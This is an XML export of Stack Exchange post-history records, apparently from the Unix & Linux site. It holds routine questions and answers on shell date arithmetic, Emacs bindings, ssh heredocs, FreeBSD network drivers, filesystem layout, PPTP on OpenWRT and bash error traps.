  <row Id="16901" PostHistoryTypeId="2" PostId="7290" RevisionGUID="100254f5-7b7b-4630-814c-2dda3fa0b1a4" CreationDate="2011-02-12T16:30:20.323" UserId="4565" Text="You could use some evil trickery:&#xD;&#xA;&#xD;&#xA;    date -d &quot;Feb 12 10:02:10&quot; +%s&#xD;&#xA;&#xD;&#xA;will return the number of seconds since the epoch for that date. Combining this with the same command (for the other date) and running through `bc`:&#xD;&#xA;&#xD;&#xA;    echo &quot;`date -d 'Feb 12 10:53:15' +%s` - `date -d 'Feb 12 10:02:10' +%s`&quot; | bc&#xD;&#xA;&#xD;&#xA;Will give you&#xD;&#xA;&#xD;&#xA;    3065&#xD;&#xA;&#xD;&#xA;the number of seconds between the times. You could probably parse this out with `awk` somehow if you needed to run it more than once." />
  <row Id="16902" PostHistoryTypeId="2" PostId="7291" RevisionGUID="99beb181-6e85-4708-b39b-8615632ae007" CreationDate="2011-02-12T16:35:22.100" UserId="2543" Text="If you just want to toggle the menu bar, there's already a command for that (&lt;kbd&gt;M-x menu-bar-mode&lt;/kbd&gt;).  To bind it to a key, you'd do:&#xD;&#xA;&#xD;&#xA;    (global-set-key (kbd &quot;&lt;f5&gt;&quot;) 'menu-bar-mode)&#xD;&#xA;&#xD;&#xA;If you want both the menu and toolbar to be toggled, you can do something like this:&#xD;&#xA;&#xD;&#xA;    (defun toggle-menu-toolbar-modes ()&#xD;&#xA;      (interactive)&#xD;&#xA;      (tool-bar-mode (menu-bar-mode)))&#xD;&#xA;    (global-set-key (kbd &quot;&lt;f5&gt;&quot;) 'toggle-menu-toolbar-modes)&#xD;&#xA;&#xD;&#xA;It's probably worth looking at the [Emacs FAQ][1] (also found by &lt;kbd&gt;C-h C-f&lt;/kbd&gt;).  Also, the SO [info page for Emacs][2] has a bunch of good links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/emacs/emacs-faq.text&#xD;&#xA;  [2]: http://stackoverflow.com/tags/emacs/info" />
  <row Id="16903" PostHistoryTypeId="5" PostId="7262" RevisionGUID="623a4e0b-ecf2-4a4b-86a2-fabdb34181c0" CreationDate="2011-02-12T17:17:36.260" UserId="1173" Comment="grammar" Text="I think this is normal sound system latency (mainly buffering) as well as an artifact of program flow (buffers, synchronous i/o, polling). The ring buffer[s] being played are presumably much larger than the puny sample lasting for only 00:00:00.17 seconds. &#xD;&#xA;&#xD;&#xA;Is this delay proportional to the duration of the sample? Ie, does a longer sample have a smaller delay? I would expect a sample of greater size (say a full second or two) to reduce these kinds of delays.&#xD;&#xA;&#xD;&#xA;Sound can be really tricky stuff, especially if you look into the nitty gritty. If what I've said above is true (regarding a longer sample size) I'd say this is normal for whatever sound subsystem you're using.&#xD;&#xA;&#xD;&#xA;I myself use pulseaudio for low-latency stuff (like guns in games), but the problem you described isn't really related to low latency; it's more a question of the software waiting for the hardware to tell it when it's done playing the whole buffer, which is larger than the sample it contained.&#xD;&#xA;&#xD;&#xA;If I'm wrong about something, please point it out to me. Thanks :)" />
  <row Id="16904" PostHistoryTypeId="25" PostId="7289" RevisionGUID="48d262ad-5066-4222-8e0f-763408f0fe54" CreationDate="2011-02-12T17:22:41.507" Comment="http://twitter.com/#!/StackUnix/status/36475289382952961" />
  <row Id="16905" PostHistoryTypeId="2" PostId="7292" RevisionGUID="f5b841c2-3140-4b1d-ae65-ffdb84be6b43" CreationDate="2011-02-12T17:37:45.087" UserId="4397" Text="The solution I found was to install the `libflashsupport-pulse` package from AUR and restart my computer." />
  <row Id="16906" PostHistoryTypeId="2" PostId="7293" RevisionGUID="78c3aa0c-7c89-4d4c-8f5c-b763317e501b" CreationDate="2011-02-12T18:46:18.127" UserId="195" Text="It sounds like you want to run a sequence of commands on another server without having to log in multiple times. To accomplish this, you could do:&#xD;&#xA;&#xD;&#xA;    local_command sequence&#xD;&#xA;    ssh remote-server &lt;&lt; End-Of-File&#xD;&#xA;            remote_command 1&#xD;&#xA;            remote_command 2&#xD;&#xA;            remote_command 3&#xD;&#xA;    End-Of-File&#xD;&#xA;&#xD;&#xA;This would run `remote_command 1`, and when it finishes, run `remote_command 2`, then `remote_command 3` all on the remote server" />
  <row Id="16907" PostHistoryTypeId="2" PostId="7294" RevisionGUID="647b9df7-adb4-4bf8-99b0-a73d78a99511" CreationDate="2011-01-28T16:15:40.737" UserId="3999" Text="When opening a tab wich needs to mount a Samba share [Nautilus][1] 2.30.1 displays a window:&#xD;&#xA;&#xD;&#xA;    Password required for share xxx on localhost&#xD;&#xA;    &#xD;&#xA;    Password: [           ]&#xD;&#xA;&#xD;&#xA;    (*) Forget password immediately&#xD;&#xA;    ( ) Remember password until you log out&#xD;&#xA;    ( ) Remember forever&#xD;&#xA;&#xD;&#xA;                   [Cancel] [Connect]&#xD;&#xA;&#xD;&#xA;How can one set the default to something other than &quot;Forget password immediately&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Nautilus_(file_manager)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16908" PostHistoryTypeId="1" PostId="7294" RevisionGUID="647b9df7-adb4-4bf8-99b0-a73d78a99511" CreationDate="2011-01-28T16:15:40.737" UserId="3999" Text="Change default for Nautilus (file_manager) from &quot;Forget password immediately&quot;?" />
  <row Id="16909" PostHistoryTypeId="3" PostId="7294" RevisionGUID="647b9df7-adb4-4bf8-99b0-a73d78a99511" CreationDate="2011-01-28T16:15:40.737" UserId="3999" Text="élinuxà" />
  <row Id="16910" PostHistoryTypeId="17" PostId="7294" RevisionGUID="94660ad5-ed59-4db8-b727-26cfd9bac758" CreationDate="2011-02-12T19:34:35.377" UserId="-1" Comment="from http://superuser.com/questions/238980/change-default-for-nautilus-file-manager-from-forget-password-immediately" Text="" />
  <row Id="16911" PostHistoryTypeId="17" PostId="7296" RevisionGUID="c3f89c19-f8d0-4feb-848b-f8c9eebe1935" CreationDate="2011-02-12T19:42:30.360" UserId="-1" Comment="from http://superuser.com/questions/141771/how-to-invoke-an-openoffice-macro-from-the-linux-command-line/141778#141778" Text="" />
  <row Id="16912" PostHistoryTypeId="2" PostId="7296" RevisionGUID="9b06c374-aaaa-4053-a783-a8c002b32289" CreationDate="2010-05-16T14:45:32.187" UserId="382" Text="Create an [event-driven macro][1] assigned to the Open Document event for a particular document or a common document. Then you would load the document by itself to act on itself or load it along with other documents to act on one or more of them. This is along the lines of the idea of an auto-run macro.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.services.openoffice.org/wiki/Documentation/OOoAuthors_User_Manual/Getting_Started/How_to_run_a_macro" />
  <row Id="16913" PostHistoryTypeId="2" PostId="7295" RevisionGUID="7dbcb430-535c-4a18-9017-6d8986664e47" CreationDate="2010-05-16T14:07:29.410" UserId="3999" Text="I have an OpenOfice macro that I want to use to process the contents of an OpenOffice file. I am able to do this by opening the file with OpenOffice and then running the macro. How do I invoke the macro from the Linux command line without using the GUI? Something like:&#xD;&#xA;&#xD;&#xA;    $ oowriter -headless -o MyDocument.odt -RUNMACRO MyLittleMacro " />
  <row Id="16914" PostHistoryTypeId="1" PostId="7295" RevisionGUID="7dbcb430-535c-4a18-9017-6d8986664e47" CreationDate="2010-05-16T14:07:29.410" UserId="3999" Text="How to invoke an Openoffice macro from the Linux command line." />
  <row Id="16915" PostHistoryTypeId="3" PostId="7295" RevisionGUID="7dbcb430-535c-4a18-9017-6d8986664e47" CreationDate="2010-05-16T14:07:29.410" UserId="3999" Text="élinuxàécommandölineà" />
  <row Id="16916" PostHistoryTypeId="17" PostId="7295" RevisionGUID="f11741db-c191-44d5-9be6-88f2c387058e" CreationDate="2011-02-12T19:42:30.360" UserId="-1" Comment="from http://superuser.com/questions/141771/how-to-invoke-an-openoffice-macro-from-the-linux-command-line" Text="" />
  <row Id="16917" PostHistoryTypeId="2" PostId="7297" RevisionGUID="d644c61a-b7ff-47e0-a5d7-ac52ef81e77c" CreationDate="2011-02-12T19:43:49.623" UserId="1524" Text="I'm not 100% sure, but as the initial ramdisk needs to be unpacked by the kernel &#xD;&#xA;during boot, cpio is used because it is already implemented in kernel code." />
  <row Id="16918" PostHistoryTypeId="12" PostId="7297" RevisionGUID="4de8ab80-9046-48f2-80fa-cbf9be888d7c" CreationDate="2011-02-12T19:46:42.010" UserId="1524" Text="[{&quot;Id&quot;:1524,&quot;DisplayName&quot;:&quot;firusvg&quot;}]" />
  <row Id="16919" PostHistoryTypeId="13" PostId="7297" RevisionGUID="cc0a18c0-07db-47d7-b448-fc55f72de2d8" CreationDate="2011-02-12T19:46:46.287" UserId="1524" Text="[{&quot;Id&quot;:1524,&quot;DisplayName&quot;:&quot;firusvg&quot;}]" />
  <row Id="16920" PostHistoryTypeId="2" PostId="7298" RevisionGUID="48b8eec5-ae5f-4de3-a2d1-06b8bec042a0" CreationDate="2011-02-12T20:08:44.303" UserId="390" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to install FreeBSD on my netbook using an usb sitck but I'm running into a major problem, my ethernet card doesn't work.&#xD;&#xA;&#xD;&#xA;`ifconfig -a`&#xD;&#xA;&#xD;&#xA;only returns me&#xD;&#xA;&#xD;&#xA;`lo0 …`&#xD;&#xA;&#xD;&#xA;but&#xD;&#xA;&#xD;&#xA;`dmesg | grep re0`&#xD;&#xA;&#xD;&#xA;gives me:&#xD;&#xA;&#xD;&#xA;    re0: &lt;RealTek 8101E/8102E/8102EL/8103E PCIe 10/100baseTX&gt; ...&#xD;&#xA;    re0: Using 1 MSI messages&#xD;&#xA;    re0: Chip rev. 0x24000000&#xD;&#xA;    re0: MAC rev. 0x00000000&#xD;&#xA;    re0: Unknown H/W revision rev. 0x24000000&#xD;&#xA;    device_attach: re0 attach returned 6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The installer crashes when I try to setup the network on FreeBSD 8.1 amd64 or 8.2RC3 amd64 on usb stick.&#xD;&#xA;Same dmesg messages with 9.0 CURRENT but it doesn't crash nor find re0.&#xD;&#xA;&#xD;&#xA;The network works fine with NetBSD 5.1 amd64 or OpenBSD 4.8 i386 using re.&#xD;&#xA;&#xD;&#xA;Can someone please help me to solve this ? Thanks." />
  <row Id="16921" PostHistoryTypeId="1" PostId="7298" RevisionGUID="48b8eec5-ae5f-4de3-a2d1-06b8bec042a0" CreationDate="2011-02-12T20:08:44.303" UserId="390" Text="RealTek 8101E ethernet card or similar doesn't work on FreeBSD" />
  <row Id="16922" PostHistoryTypeId="3" PostId="7298" RevisionGUID="48b8eec5-ae5f-4de3-a2d1-06b8bec042a0" CreationDate="2011-02-12T20:08:44.303" UserId="390" Text="énetworkingàéfreebsdàédriversà" />
  <row Id="16923" PostHistoryTypeId="2" PostId="7299" RevisionGUID="5fb930d5-b112-49f5-80f1-271ff085c8c2" CreationDate="2010-02-28T00:56:55.563" UserId="3999" Text="What are you using instead of [DCE Distributed File System][1]? How does it compare? Or are you still using it?&#xD;&#xA;&#xD;&#xA;Note that [DCE/DFS][1] is not [Microsoft Distributed File System][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DCE_Distributed_File_System&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Distributed_File_System_(Microsoft)" />
  <row Id="16924" PostHistoryTypeId="1" PostId="7299" RevisionGUID="5fb930d5-b112-49f5-80f1-271ff085c8c2" CreationDate="2010-02-28T00:56:55.563" UserId="3999" Text="What are you using instead of DCE Distributed File System?" />
  <row Id="16925" PostHistoryTypeId="3" PostId="7299" RevisionGUID="5fb930d5-b112-49f5-80f1-271ff085c8c2" CreationDate="2010-02-28T00:56:55.563" UserId="3999" Text="éuntaggedà" />
  <row Id="16926" PostHistoryTypeId="17" PostId="7299" RevisionGUID="d5b6d443-7f78-40ca-a38b-3ab03e3e32c2" CreationDate="2011-02-12T20:09:23.863" UserId="-1" Comment="from http://serverfault.com/questions/117545/what-are-you-using-instead-of-dce-distributed-file-system" Text="" />
  <row Id="16927" PostHistoryTypeId="17" PostId="7301" RevisionGUID="f6a8a20a-87e8-431d-9b9c-74585418773d" CreationDate="2011-02-12T20:10:51.663" UserId="-1" Comment="from http://serverfault.com/questions/232265/srv-stevedore-vs-var-stevedore-for-data-files-for-new-application/232273#232273" Text="" />
  <row Id="16928" PostHistoryTypeId="17" PostId="7302" RevisionGUID="da2611ad-e874-4049-b994-12bb7a211161" CreationDate="2011-02-12T20:10:51.663" UserId="-1" Comment="from http://serverfault.com/questions/232265/srv-stevedore-vs-var-stevedore-for-data-files-for-new-application/232274#232274" Text="" />
  <row Id="16929" PostHistoryTypeId="17" PostId="7303" RevisionGUID="88dbdd3f-7bd3-4427-b1f3-b42d5dc9f8bb" CreationDate="2011-02-12T20:10:51.663" UserId="-1" Comment="from http://serverfault.com/questions/232265/srv-stevedore-vs-var-stevedore-for-data-files-for-new-application/232348#232348" Text="" />
  <row Id="16930" PostHistoryTypeId="2" PostId="7301" RevisionGUID="8ef63dd5-dc96-4fdf-88ea-725924a2232a" CreationDate="2011-02-07T17:35:31.463" UserDisplayName="Steven" Text="There really isn't much of a difference between /srv/stevedore/ and /var/stevedore/.  What kind of data is it?  If its data files being sent over the webserver, /var/www might be better.  At this point its mostly personal preference among those three.  If the data is the state of your program, then /var/lib/stevedore is even better; just like databases keep their data files there.&#xD;&#xA;&#xD;&#xA;As for the user directories, do users actually get a local unix account?  If so, ~ is fine.  If not, then its not a good idea.  It would be too easy for someone to think those users no longer exist, so their home directories can be removed.  A better place would be /var/lib/stevedore/username." />
  <row Id="16931" PostHistoryTypeId="2" PostId="7302" RevisionGUID="6d604c42-f01c-4a02-bef2-e620c48657c7" CreationDate="2011-02-07T17:36:56.000" UserDisplayName="DerfK" Text="Ultimately, if you're planning on getting people to package this for their distributions, what you'll want to do is establish either a compile-time or configured location for each of these things.  For instance, using autoconf/automake/configure to set macros for --prefix, --bindir, --datadir and so on.&#xD;&#xA;&#xD;&#xA;In general, I think most distributions don't use /opt/ for packaged executables (these would go into /usr/bin or /usr/sbin as appropriate).  It seems that users would be expected to use the files in ~/MyStevedore/ on a regular basis, so not creating it as ~/.MyStevedore/ is forgivable, but some distributions may use a file manager that expects everything in ~/MyDocuments/MyStevedore/ or ~/Desktop/MyStevedore/" />
  <row Id="16932" PostHistoryTypeId="2" PostId="7303" RevisionGUID="60205880-e4d9-42a4-9f7a-df1d9a0b4102" CreationDate="2011-02-07T20:30:52.803" UserId="728" Text="1. If you plan on inclusion in distributions, use the standard buckets (bin, sbin, etc) and avoid `/opt` *.&#xD;&#xA;&#xD;&#xA;2. I'd be really annoyed to have enforced folders in my home dir. I've just cleaned that stuff up! ;-) Sure you don't want to use `/srv/stevedore/users/(user)`? It's a document server, right?&#xD;&#xA;&#xD;&#xA;Other rationales:&#xD;&#xA;&#xD;&#xA;The webdata can be put in `/usr/share/stevedore/web` too. System administrators likely have a custom Apache setup, and the last thing you'd like to see is files in `/var/www/htdocs/appname`. Rather, just make sure they are available (and `share` fits that purpose really well) so the admins can make an `Alias` in Apache and link the webapp in the proper websites.&#xD;&#xA;&#xD;&#xA;You can pick `/var/stevedore`, or `/srv/storedore`, that's fine as long as it's configurable. You can expect Debian users to like `/var/*`, and SUSE users to prefer `/srv/*`. If you go for that route, make sure it's configurable for packagers.&#xD;&#xA;&#xD;&#xA;The same also applies to the install root. That can be `/usr`, `/usr/local`, or something else the administrator or packager desires, or it has to be configurable.&#xD;&#xA;&#xD;&#xA;Using `/var/log/stevedore` for logs makes perfect sense.&#xD;&#xA;&#xD;&#xA;The packagers want your package to fit in with the rest. The packagers also make sure your application links to their specific versions of the libraries, so you don't have to ship those as well.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;[*] When you put your software in `/opt`, I'd expect the whole system to be there. For example,&#xD;&#xA;&#xD;&#xA;    /opt/stevedore/bin/&#xD;&#xA;    /opt/stevedore/doc/&#xD;&#xA;    /opt/stevedore/etc/&#xD;&#xA;    /opt/stevedore/lib/&#xD;&#xA;    /opt/stevedore/share/&#xD;&#xA;    /opt/stevedore/sbin/&#xD;&#xA;&#xD;&#xA;This is typically used for third party installers, or commercial games. Those packages usually come in binary format only, and ship all their required libraries with them. Even the config files are shipped in that folder." />
  <row Id="16933" PostHistoryTypeId="2" PostId="7300" RevisionGUID="7935b02d-3578-4c2f-b9a2-007bdee44421" CreationDate="2011-02-07T17:21:29.243" UserId="3999" Text="I am creating a new application. I currently have all of the server code, configuration, log and data files in directories that do not follow any kind of standard. Looking at the &#xD;&#xA;[Wikipedia article on Filesystem Hierarchy Standard][1] I have come up with this new arrangement:&#xD;&#xA;&#xD;&#xA;    /opt/stevedore/                     Server Code&#xD;&#xA;    /etc/stevedore/steve_site_config.pl Server Configuration&#xD;&#xA;    /var/log/stevedore/                 Server Logs&#xD;&#xA;    /srv/stevedore/                     Server Site Data (Document tree)&#xD;&#xA;&#xD;&#xA;Having used [Apache][2] were the data files are located in `/var/www/` the pattern would seem to indicate that the data files should be located here instead:&#xD;&#xA;&#xD;&#xA;    /var/stevedore/                     Server Site Data (Document tree)&#xD;&#xA;&#xD;&#xA;Additionally, the users check out local copies of documents for editing which are located in these directories:&#xD;&#xA;&#xD;&#xA;    ~/MyStevedore/                      User - Editable files&#xD;&#xA;    ~/MyStevedore/CheckOut/             User - Files to CheckOut&#xD;&#xA;    ~/MyStevedore/CheckInToPublish/     User - Files to CheckIn To Publish&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Which is better for a default and why: `/srv/stevedore/` vs `/var/stevedore/`?&#xD;&#xA; 2. How about `~/MyStevedore/` for standard user specific directories?&#xD;&#xA;&#xD;&#xA;For more details on the application see the [Stevedore Web Site][3] and the [code at the time of this posting][4].&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Apache2&#xD;&#xA;  [3]: http://stevedore.110mb.com/&#xD;&#xA;  [4]: http://bazaar.launchpad.net/~stevedore-developers/stevedore/trunk/files/67" />
  <row Id="16934" PostHistoryTypeId="1" PostId="7300" RevisionGUID="7935b02d-3578-4c2f-b9a2-007bdee44421" CreationDate="2011-02-07T17:21:29.243" UserId="3999" Text="`/srv/stevedore/` vs `/var/stevedore/` for data files for new application?" />
  <row Id="16935" PostHistoryTypeId="3" PostId="7300" RevisionGUID="7935b02d-3578-4c2f-b9a2-007bdee44421" CreationDate="2011-02-07T17:21:29.243" UserId="3999" Text="éfhsà" />
  <row Id="16936" PostHistoryTypeId="17" PostId="7300" RevisionGUID="05b536cd-236e-41f2-8778-5a58c0738458" CreationDate="2011-02-12T20:10:51.663" UserId="-1" Comment="from http://serverfault.com/questions/232265/srv-stevedore-vs-var-stevedore-for-data-files-for-new-application" Text="" />
  <row Id="16937" PostHistoryTypeId="2" PostId="7304" RevisionGUID="ee97cd0b-dfcb-4880-ac36-1f9f2baf0527" CreationDate="2011-02-12T20:19:11.593" UserId="4724" Text="`opkg update; opkg install pptpd kmod-mppe`&lt;br&gt;&#xD;&#xA;`/etc/init.d/pptpd enable`&lt;br&gt;&#xD;&#xA;`/etc/init.d/pptpd start`&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;`vim /etc/ppp/chap-secrets`&lt;br&gt;&#xD;&#xA;`#USERNAME  PROVIDER  PASSWORD  IPADDRESS`&lt;br&gt;&#xD;&#xA;`SOMEONE  pptpd   SOMEPASSWORD 192.168.1.4`&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;When i want to connect with the networkmanager from a Fedora 14 box that's connected through wifi: it says: failed to connect.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Can someone please post a howto regarding this? I just need a VPN server on the openwrt side, so that clients could connect to it, so the &quot;channel&quot; is secured(pptp).&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="16938" PostHistoryTypeId="1" PostId="7304" RevisionGUID="ee97cd0b-dfcb-4880-ac36-1f9f2baf0527" CreationDate="2011-02-12T20:19:11.593" UserId="4724" Text="PPTP OpenWRT 10.03 Howto" />
  <row Id="16939" PostHistoryTypeId="3" PostId="7304" RevisionGUID="ee97cd0b-dfcb-4880-ac36-1f9f2baf0527" CreationDate="2011-02-12T20:19:11.593" UserId="4724" Text="élinuxàéopenwrtàévpnà" />
  <row Id="16940" PostHistoryTypeId="17" PostId="7306" RevisionGUID="07ece912-3379-41e8-a825-2e2f1038ed20" CreationDate="2011-02-12T20:20:29.843" UserId="-1" Comment="from http://stackoverflow.com/questions/1066311/what-is-analyze-catalog-for-linux-msginit-binary-message-catalog/1066386#1066386" Text="" />
  <row Id="16941" PostHistoryTypeId="2" PostId="7306" RevisionGUID="efdd875b-65b7-41f6-970a-41f2c2e00c41" CreationDate="2009-06-30T22:20:29.953" UserDisplayName="liori" Text="`info gettext` might give you some clues. I am not sure what do you really need, but `msgunfmt` looks promising." />
  <row Id="16942" PostHistoryTypeId="2" PostId="7305" RevisionGUID="5f992898-cc3a-4793-9f51-e75f1424d4a6" CreationDate="2009-06-30T22:01:34.923" UserId="3999" Text="VMS has an ANALYZE command that examines an item such as an executable image or an object file displaying information about its contents. Is there such a command for examining the output of msginit which is a binary message catalog file? Something equivalent to ANALYZE/CATALOG?" />
  <row Id="16943" PostHistoryTypeId="1" PostId="7305" RevisionGUID="5f992898-cc3a-4793-9f51-e75f1424d4a6" CreationDate="2009-06-30T22:01:34.923" UserId="3999" Text="What is ANALYZE/CATALOG for Linux msginit binary message catalog?" />
  <row Id="16944" PostHistoryTypeId="3" PostId="7305" RevisionGUID="5f992898-cc3a-4793-9f51-e75f1424d4a6" CreationDate="2009-06-30T22:01:34.923" UserId="3999" Text="élinuxà" />
  <row Id="16945" PostHistoryTypeId="17" PostId="7305" RevisionGUID="8848f32f-64cf-4f42-b49e-d4bfe85a7bb0" CreationDate="2011-02-12T20:20:29.843" UserId="-1" Comment="from http://stackoverflow.com/questions/1066311/what-is-analyze-catalog-for-linux-msginit-binary-message-catalog" Text="" />
  <row Id="16946" PostHistoryTypeId="17" PostId="7308" RevisionGUID="69906cbb-3864-4c31-9d76-06ce5f35e936" CreationDate="2011-02-12T20:20:57.393" UserId="-1" Comment="from http://stackoverflow.com/questions/3026626/what-is-linux-for-vms-dcl-on-error/3026655#3026655" Text="" />
  <row Id="16947" PostHistoryTypeId="2" PostId="7308" RevisionGUID="aa38d87a-541b-4a1e-95c5-027f601494ef" CreationDate="2010-06-11T22:29:56.897" UserId="224" Text="I think you want the [trap][1] function, specifically:&#xD;&#xA;&#xD;&#xA;    error_func() &#xD;&#xA;    {&#xD;&#xA;        echo 'An error occured!'&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    trap error_func ERR&#xD;&#xA;&#xD;&#xA;Errors later will jump to the function.  This is supported by at least bash, zsh, and ksh.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_12_02.html&#xD;&#xA;" />
  <row Id="16948" PostHistoryTypeId="2" PostId="7307" RevisionGUID="ef2cdcbc-867f-4289-a0d2-c174c72f0c09" CreationDate="2010-06-11T22:19:48.230" UserId="3999" Text="Using [VMS][1] [DCL][2] command scripts one can catch errors by using the `on error` command:&#xD;&#xA;&#xD;&#xA;    $ on error then goto MyErrorHandler&#xD;&#xA;    $ directory samiam.txt&#xD;&#xA;    $ delete x.txt&#xD;&#xA;    $ exit&#xD;&#xA;    $MyErrorHandler:&#xD;&#xA;    $ print &quot;Something.&quot;&#xD;&#xA;&#xD;&#xA;How does one do this in Linuxland?&#xD;&#xA;&#xD;&#xA;In the example an error with `directory` or `delete` will cause control to go to `MyErrorHandler`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/OpenVMS&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/DIGITAL_Command_Language" />
  <row Id="16949" PostHistoryTypeId="1" PostId="7307" RevisionGUID="ef2cdcbc-867f-4289-a0d2-c174c72f0c09" CreationDate="2010-06-11T22:19:48.230" UserId="3999" Text="What is Linux for VMS DCL &quot;ON ERROR&quot;?" />
  <row Id="16950" PostHistoryTypeId="3" PostId="7307" RevisionGUID="ef2cdcbc-867f-4289-a0d2-c174c72f0c09" CreationDate="2010-06-11T22:19:48.230" UserId="3999" Text="élinuxàéscriptingàéopenvmsà" />
  <row Id="16951" PostHistoryTypeId="17" PostId="7307" RevisionGUID="564e7d01-ac4a-4c68-b286-c0053cbb99a9" CreationDate="2011-02-12T20:20:57.393" UserId="-1" Comment="from http://stackoverflow.com/questions/3026626/what-is-linux-for-vms-dcl-on-error" Text="" />
  <row Id="16952" PostHistoryTypeId="17" PostId="7310" RevisionGUID="c5f2275e-1fe2-4c8b-a42b-5730f08385fe" CreationDate="2011-02-12T20:21:25.990" UserId="-1" Comment="from http://stackoverflow.com/questions/1033495/set-the-language-for-a-single-program-execution/1033513#1033513" Text="" />
  <row Id="16953" PostHistoryTypeId="17" PostId="7311" RevisionGUID="8eae767b-c343-49ac-a063-2e86d4276628" CreationDate="2011-02-12T20:21:25.990" UserId="-1" Comment="from http://stackoverflow.com/questions/1033495/set-the-language-for-a-single-program-execution/1033536#1033536" Text="" />
  <row Id="16954" PostHistoryTypeId="2" PostId="7310" RevisionGUID="616b4dd5-a640-42b5-aff2-7ea6ea9bd71b" CreationDate="2009-06-23T15:58:54.000" UserDisplayName="Tanktalus" Text="You mean something like:&#xD;&#xA;&#xD;&#xA;    LANG=es_MX.utf8 ./hellogt&#xD;&#xA;&#xD;&#xA;?  Or maybe you mean you want to parse the commandline (argv), find the language passed in, and pass it to setlocale?" />
  <row Id="16955" PostHistoryTypeId="2" PostId="7311" RevisionGUID="9f10eafe-fd2d-416e-9846-3a6f76b4dacb" CreationDate="2009-06-23T16:02:08.243" UserId="1779" Text="In ksh, bash, and similar shells,&#xD;&#xA;&#xD;&#xA;    LANG=es_MX.utf8 ./hellogt&#xD;&#xA;&#xD;&#xA;will set `LANG=es_MX.utf8` only for the invocation of `./hellogt`.&#xD;&#xA;&#xD;&#xA;More portably, there is a program called `env`&#xD;&#xA;&#xD;&#xA;    env LANG=es_MX.utf8 ./hellogt&#xD;&#xA;&#xD;&#xA;which will set environment variables and run the program specified.  This works in all shells, including `csh` and traditional `sh` (which do not support the first method)." />
  <row Id="16956" PostHistoryTypeId="2" PostId="7309" RevisionGUID="467dd4f9-d734-498d-b184-dea7673b7f59" CreationDate="2009-06-23T15:56:06.683" UserId="3999" Text="[Complete C++ i18n gettext() “hello world” example.][1] sets the LANG environment variable using export before executing the program (Linux):&#xD;&#xA;&#xD;&#xA;    export LANG=es_MX.utf8&#xD;&#xA;    ./hellogt&#xD;&#xA;&#xD;&#xA;Is there a way to set the language just while executing hellogt, like a command line argument?&#xD;&#xA;This would be handy for testing programs.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1003360/complete-c-i18n-gettext-hello-world-example/1033337#1033337&#xD;&#xA;" />
  <row Id="16957" PostHistoryTypeId="1" PostId="7309" RevisionGUID="467dd4f9-d734-498d-b184-dea7673b7f59" CreationDate="2009-06-23T15:56:06.683" UserId="3999" Text="Set the language for a single program execution." />
  <row Id="16958" PostHistoryTypeId="3" PostId="7309" RevisionGUID="467dd4f9-d734-498d-b184-dea7673b7f59" CreationDate="2009-06-23T15:56:06.683" UserId="3999" Text="élinuxà" />
  <row Id="16959" PostHistoryTypeId="17" PostId="7309" RevisionGUID="cc0cccca-48aa-49f6-88b8-c612cd3eb1cf" CreationDate="2011-02-12T20:21:25.990" UserId="-1" Comment="from http://stackoverflow.com/questions/1033495/set-the-language-for-a-single-program-execution" Text="" />
  <row Id="16960" PostHistoryTypeId="17" PostId="7313" RevisionGUID="2a4d1e02-0117-4b87-8eaf-eec28ae2504d" CreationDate="2011-02-12T20:21:54.383" UserId="-1" Comment="from http://stackoverflow.com/questions/1003458/locate-postion-then-make-a-change-using-sed/1003487#1003487" Text="" />
  <row Id="16961" PostHistoryTypeId="17" PostId="7314" RevisionGUID="eda26eb4-c13b-4db5-8d26-81136fe4adea" CreationDate="2011-02-12T20:21:54.383" UserId="-1" Comment="from http://stackoverflow.com/questions/1003458/locate-postion-then-make-a-change-using-sed/1003616#1003616" Text="" />
  <row Id="16962" PostHistoryTypeId="17" PostId="7315" RevisionGUID="ce5dfceb-9676-4cb3-beb3-cadc946d4929" CreationDate="2011-02-12T20:21:54.383" UserId="-1" Comment="from http://stackoverflow.com/questions/1003458/locate-postion-then-make-a-change-using-sed/1003647#1003647" Text="" />
  <row Id="16963" PostHistoryTypeId="2" PostId="7313" RevisionGUID="1551626a-f1a6-4c69-a9cb-84dbca8b3af5" CreationDate="2009-06-16T19:23:42.617" UserDisplayName="Brian Agnew" Text="I find once things get beyond a certain level of complexity, I switch to [perl][1]. [s2p][2] will handle the translation of your current sed solution. Or you could write it from scratch trivially. The search/replace expression will remain the same.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.perl.com&#xD;&#xA;  [2]: http://www.perl.com/doc/manual/html/x2p/s2p.html" />
